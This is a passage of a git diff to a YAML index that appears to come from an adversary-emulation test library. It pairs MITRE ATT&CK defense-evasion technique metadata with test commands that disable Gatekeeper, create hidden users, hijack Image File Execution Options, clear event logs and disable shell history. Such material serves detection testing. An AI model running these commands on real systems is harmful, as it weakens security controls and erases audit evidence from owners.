internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution @@ -6898,6 +7102,46 @@ defense-evasion: want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)" + id: attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Monitoring for the removal of the com.apple.quarantine + flag by a user instead of the operating system is a suspicious action and + should be examined further. Monitor and investigate attempts to modify extended + file attributes with utilities such as xattr. Built-in system + utilities may generate high false positive alerts, so compare against baseline + knowledge for how systems are typically used and correlate modification events + with other indications of malicious activity where possible. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T14:44:15.142Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1144 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1144 + - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + source_name: Methods of Mac Malware Persistence + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: Clearing quarantine attribute + description: Rich Trouton. (2012, November 20). Clearing the quarantine extended + attribute from downloaded applications. Retrieved July 5, 2017. + url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ + - source_name: OceanLotus for OS X + description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application + Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. + url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update + - source_name: Bypassing Gatekeeper + description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. + Retrieved July 5, 2017. + url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ x_mitre_defense_bypassed: - Application whitelisting - Anti-virus @@ -6921,37 +7165,14 @@ defense-evasion: sudo spctl --master-disable T1148: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1148 - source_name: mitre-attack - external_id: T1148 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_defense_bypassed: - - Log analysis - - Host forensic analysis x_mitre_data_sources: - Process monitoring - Authentication logs - File monitoring - Environment variable - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Correlating a user session with a distinct lack of new commands - in their .bash_history can be a clue to suspicious behavior. - Additionally, users checking or changing their HISTCONTROL environment - variable is also suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--086952c4-5b90-4185-b573-02bad8e11953 + x_mitre_permissions_required: + - User name: HISTCONTROL - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can @@ -6963,8 +7184,31 @@ defense-evasion: does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands. - x_mitre_permissions_required: - - User + id: attack-pattern--086952c4-5b90-4185-b573-02bad8e11953 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Correlating a user session with a distinct lack of new commands + in their .bash_history can be a clue to suspicious behavior. + Additionally, users checking or changing their HISTCONTROL environment + variable is also suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T14:23:11.141Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1148 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1148 + x_mitre_defense_bypassed: + - Log analysis + - Host forensic analysis identifier: T1148 atomic_tests: - name: Disable history collection @@ -6998,49 +7242,13 @@ defense-evasion: 4. whoami > recon.txt T1158: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1158 - source_name: mitre-attack - external_id: T1158 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ - source_name: Antiquated Mac Malware - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated - code. Retrieved July 5, 2017. - - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf - source_name: WireLurker - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. - Retrieved July 10, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_permissions_required: - - User x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor the file system and shell commands for files being - created with a leading "." and the Windows command-line use of attrib.exe - to add the hidden attribute. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + x_mitre_permissions_required: + - User name: Hidden Files and Directories - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). @@ -7058,6 +7266,42 @@ defense-evasion: Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. + id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + x_mitre_detection: Monitor the file system and shell commands for files being + created with a leading "." and the Windows command-line use of attrib.exe + to add the hidden attribute. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1158 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1158 + - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + source_name: Sofacy Komplex Trojan + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + source_name: Antiquated Mac Malware + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + source_name: WireLurker + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf x_mitre_defense_bypassed: - Host forensic analysis identifier: T1158 @@ -7265,34 +7509,13 @@ defense-evasion: ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname T1147: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1147 - source_name: mitre-attack - external_id: T1147 - - url: https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty - source_name: Cybereason OSX Pirrit - description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved - July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - Authentication logs - File monitoring - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: This technique prevents the new user from showing up at the - log in screen, but all of the other signs of a new user still exist. The user - still gets a home directory and will appear in the authentication logs. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff + x_mitre_permissions_required: + - Administrator + - root name: Hidden Users - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: 'Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users @@ -7302,9 +7525,30 @@ defense-evasion: Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).' - x_mitre_permissions_required: - - Administrator - - root + id: attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: This technique prevents the new user from showing up at the + log in screen, but all of the other signs of a new user still exist. The user + still gets a home directory and will appear in the authentication logs. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1147 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1147 + - source_name: Cybereason OSX Pirrit + description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved + July 8, 2017. + url: https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty + modified: '2019-06-25T14:31:08.274Z' identifier: T1147 atomic_tests: - name: Hidden Users @@ -7325,69 +7569,14 @@ defense-evasion: ' T1183: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1183 - source_name: mitre-attack - external_id: T1183 - - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ - source_name: Microsoft Dev Blog IFEO Mar 2010 - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). - Retrieved December 18, 2017. - - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview - source_name: Microsoft GFlags Mar 2017 - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December - 18, 2017. - - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml - source_name: FSecure Hupigon - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. - Retrieved December 18, 2017. - - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 - source_name: Symantec Ushedix June 2008 - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December - 18, 2017. - - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit - source_name: Microsoft Silent Process Exit NOV 2017 - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent - Process Exit. Retrieved June 27, 2018. - - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ - source_name: Oddvar Moe IFEO APR 2018 - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image - File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Oddvar Moe, @oddvarmoe x_mitre_data_sources: - Process monitoring - Windows Registry - Windows event logs - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) - - Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Autoruns Analysis - id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_permissions_required: + - Administrator + - SYSTEM name: Image File Execution Options Injection - created: '2018-01-16T16:13:52.465Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) @@ -7404,30 +7593,85 @@ defense-evasion: Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1183 - atomic_tests: - - name: IFEO Add Debugger - description: 'Leverage Global Flags Settings + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: defense-evasion + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) -' - supported_platforms: - - windows - input_arguments: - target_binary: - description: Binary To Attach To - type: Path - default: winword.exe - payload_binary: - description: Binary To Execute - type: Path - default: cmd.exe - executor: - name: command_prompt - elevation_required: true - command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2018-01-16T16:13:52.465Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1183 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1183 + - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + Retrieved December 18, 2017. + source_name: Microsoft Dev Blog IFEO Mar 2010 + url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + 18, 2017. + source_name: Microsoft GFlags Mar 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + Retrieved December 18, 2017. + source_name: FSecure Hupigon + url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + 18, 2017. + source_name: Symantec Ushedix June 2008 + url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + x_mitre_defense_bypassed: + - Autoruns Analysis + identifier: T1183 + atomic_tests: + - name: IFEO Add Debugger + description: 'Leverage Global Flags Settings + +' + supported_platforms: + - windows + input_arguments: + target_binary: + description: Binary To Attach To + type: Path + default: winword.exe + payload_binary: + description: Binary To Execute + type: Path + default: cmd.exe + executor: + name: command_prompt + elevation_required: true + command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" ' @@ -7459,59 +7703,14 @@ defense-evasion: ' T1070: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1070 - source_name: mitre-attack - external_id: T1070 - - url: https://capec.mitre.org/data/definitions/93.html - source_name: capec - external_id: CAPEC-93 - - url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil - source_name: Microsoft wevtutil Oct 2017 - description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July - 2, 2018. - - url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx - source_name: Microsoft EventLog.Clear - description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, - 2018. - - url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog - source_name: Microsoft Clear-EventLog - description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Ed Williams, Trustwave, SpiderLabs x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - API monitoring - Windows event logs - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: 'File system monitoring may be used to detect improper deletion - or modification of indicator files. For example, deleting Windows event logs - (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions - (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) - (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event - ID 1102: "The audit log was cleared"). Events not stored on the file system - may require different detection mechanisms.' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Log analysis - - Host intrusion prevention systems - - Anti-virus - id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69 - name: Indicator Removal on Host - created: '2017-05-31T21:30:55.892Z' - x_mitre_version: '1.0' type: attack-pattern + name: Indicator Removal on Host description: "Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system @@ -7531,8 +7730,53 @@ defense-evasion: utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086)." + id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69 + modified: '2019-07-18T15:02:36.652Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' x_mitre_system_requirements: - Clearing the Windows event logs requires Administrator permissions + x_mitre_detection: 'File system monitoring may be used to detect improper deletion + or modification of indicator files. For example, deleting Windows event logs + (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions + (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) + (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event + ID 1102: "The audit log was cleared"). Events not stored on the file system + may require different detection mechanisms.' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ed Williams, Trustwave, SpiderLabs + created: '2017-05-31T21:30:55.892Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1070 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1070 + - source_name: capec + external_id: CAPEC-93 + url: https://capec.mitre.org/data/definitions/93.html + - source_name: Microsoft wevtutil Oct 2017 + description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July + 2, 2018. + url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil + - source_name: Microsoft EventLog.Clear + description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, + 2018. + url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx + - source_name: Microsoft Clear-EventLog + description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. + url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog + x_mitre_defense_bypassed: + - Log analysis + - Host intrusion prevention systems + - Anti-virus identifier: T1070 atomic_tests: - name: Clear Logs @@ -7612,58 +7856,58 @@ defense-evasion: command: 'echo 0> #{log_path}' T1202: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1202 - source_name: mitre-attack - external_id: T1202 - - url: https://twitter.com/vector_sec/status/896049052642533376 - source_name: VectorSec ForFiles Aug 2017 - description: vector_sec. (2017, August 11). Defenders watching launches of - cmd? What about forfiles?. Retrieved January 22, 2018. - - url: https://twitter.com/Evi1cg/status/935027922397573120 - source_name: Evi1cg Forfiles Nov 2017 - description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved - January 22, 2018. - - url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe - source_name: RSA Forfiles Aug 2017 - description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe - (if you are watching for cmd.exe). Retrieved January 22, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Matthew Demaske, Adaptforward x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - Windows event logs + x_mitre_permissions_required: + - User + name: Indirect Command Execution + description: |- + Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) + + Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. + id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e modified: '2019-04-24T18:28:19.845Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Matthew Demaske, Adaptforward + created: '2018-04-18T17:59:24.739Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1202 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1202 + - source_name: VectorSec ForFiles Aug 2017 + description: vector_sec. (2017, August 11). Defenders watching launches of + cmd? What about forfiles?. Retrieved January 22, 2018. + url: https://twitter.com/vector_sec/status/896049052642533376 + - source_name: Evi1cg Forfiles Nov 2017 + description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved + January 22, 2018. + url: https://twitter.com/Evi1cg/status/935027922397573120 + - source_name: RSA Forfiles Aug 2017 + description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe + (if you are watching for cmd.exe). Retrieved January 22, 2018. + url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe x_mitre_defense_bypassed: - Static File Analysis - Application whitelisting - Process whitelisting - Whitelisting by file name or path - id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e - name: Indirect Command Execution - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) - - Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads. - x_mitre_permissions_required: - - User identifier: T1202 atomic_tests: - name: Indirect Command Execution - pcalua.exe @@ -7713,49 +7957,33 @@ defense-evasion: forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe" T1130: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1130 - source_name: mitre-attack - external_id: T1130 - - url: https://en.wikipedia.org/wiki/Root_certificate - source_name: Wikipedia Root Certificate - description: Wikipedia. (2016, December 6). Root certificate. Retrieved February - 20, 2017. - - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf - source_name: Operation Emmental - description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding - Holes Operation Emmental. Retrieved February 9, 2016. - - url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ - source_name: Kaspersky Superfish - description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on - Lenovo Laptops. Retrieved February 20, 2017.' - - url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ - source_name: Tripwire AppUNBlocker - description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. - Retrieved December 19, 2017.' - - url: https://objective-see.com/blog/blog_0x26.html - source_name: objective-see ay mami 2018 - description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March - 19, 2018. - - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - source_name: SpectorOps Code Signing Dec 2017 - description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning - Attacks and Defenses. Retrieved April 3, 2018. - - url: https://docs.microsoft.com/sysinternals/downloads/sigcheck - source_name: Microsoft Sigcheck May 2017 - description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April - 3, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Itzik Kotler, SafeBreach - - Travis Smith, Tripwire - - Red Canary - - Matt Graeber, @mattifestation, SpecterOps x_mitre_data_sources: - SSL/TLS inspection - Digital certificate logs - modified: '2018-10-31T13:45:13.024Z' + x_mitre_permissions_required: + - Administrator + - User + name: Install Root Certificate + description: |- + Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not 